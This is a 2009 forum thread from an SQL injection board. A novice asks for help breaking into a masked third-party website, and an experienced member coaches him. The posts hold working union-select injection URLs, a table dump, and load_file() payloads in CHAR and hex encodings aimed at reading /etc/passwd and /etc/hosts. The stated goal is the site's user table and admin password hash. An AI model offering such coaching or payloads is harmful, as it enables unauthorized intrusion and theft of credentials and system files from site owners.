|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
i Can not grant access ... |
|
Posted: Tue Oct 06, 2009 6:23 pm |
|
|
bizzare |
Regular user |
|
|
Joined: Oct 06, 2009 |
Posts: 5 |
|
|
|
|
|
|
|
hey guys , im bob and im new to Sql injection attack and my question is that : i have a vulnerability in this site :
Code: | www.***.com/article.php?id=-77+union+select+0,group_concat(table_name),2,3,4,5,6,7,8,9+from+information_schema.tables-- |
the result is contain all of default tables of mysql 5.0.81-community and 2 table that named [ press , articles ]
result =
Code: | CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,articles,press |
i cant grant access to mysql.user i want the table that contain the users informations.
log in page :
plz help me ... |
|
|
|
|
Posted: Wed Oct 07, 2009 5:19 am |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
Only root have access to mysql.user table. |
|
|
|
|
|
? |
|
Posted: Wed Oct 07, 2009 6:35 am |
|
|
bizzare |
Regular user |
|
|
Joined: Oct 06, 2009 |
Posts: 5 |
|
|
|
|
|
|
|
its mean that this web page is not vulnerable to hack ? |
|
|
|
|
Posted: Wed Oct 07, 2009 7:17 am |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
This mean you search admin hash/password in wrong place. |
|
|
|
|
|
load_file |
|
Posted: Wed Oct 07, 2009 5:05 pm |
|
|
bizzare |
Regular user |
|
|
Joined: Oct 06, 2009 |
Posts: 5 |
|
|
|
|
|
|
|
pexli , you know , im trying to use load_file() function , it seems that i have read access to this host.just i want to know how i can retrieve host name , or host version , i.e. windows server 2003 or linux.
if you want more information about this target , contain address and anyother things , please tell me.
tnx. |
|
|
|
|
|
Re: load_file |
|
Posted: Wed Oct 07, 2009 6:26 pm |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
bizzare wrote: | pexli , you know , im trying to use load_file() function , it seems that i have read access to this host.just i want to know how i can retrieve host name , or host version , i.e. windows server 2003 or linux.
if you want more information about this target , contain address and anyother things , please tell me.
tnx. |
Well.Try to read /etc/hosts or /etc/passwd.If you see results probably you are on linux server. |
|
|
|
|
|
load_file() |
|
Posted: Wed Oct 07, 2009 8:04 pm |
|
|
bizzare |
Regular user |
|
|
Joined: Oct 06, 2009 |
Posts: 5 |
|
|
|
|
|
|
|
right , pexli i use this string and i have not any result check it please :
Code: | http://www.***.com/article.php?id=-88+union+select+1,load_file%280x2F6574632F706173737764%29,3,4,5,6,7,8,9,10-- |
Code: | 0x2F6574632F706173737764 = /etc/passwd |
also i try this :
i think that im use load_file() function incorrectly.is it ? |
|
|
|
|
|
server information : |
|
Posted: Wed Oct 07, 2009 8:29 pm |
|
|
bizzare |
Regular user |
|
|
Joined: Oct 06, 2009 |
Posts: 5 |
|
|
|
|
|
|
|
Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a DAV/2 mod_bwlimited/1.4 PHP/5.2.10 mod_wsgi/2.5 Python/2.5.2 Server at www.***.com Port 80 |
|
|
|
|
Posted: Thu Oct 08, 2009 8:08 am |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
load_file(CONCAT(CHAR(39),CHAR(47),CHAR(101),CHAR(116),CHAR(99),CHAR(47),CHAR(104),CHAR(111),CHAR(115),CHAR(116),CHAR(115),CHAR(39)))
load_file(0x272f6574632f686f73747327)
load_file%280x272f6574632f686f73747327%29 |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|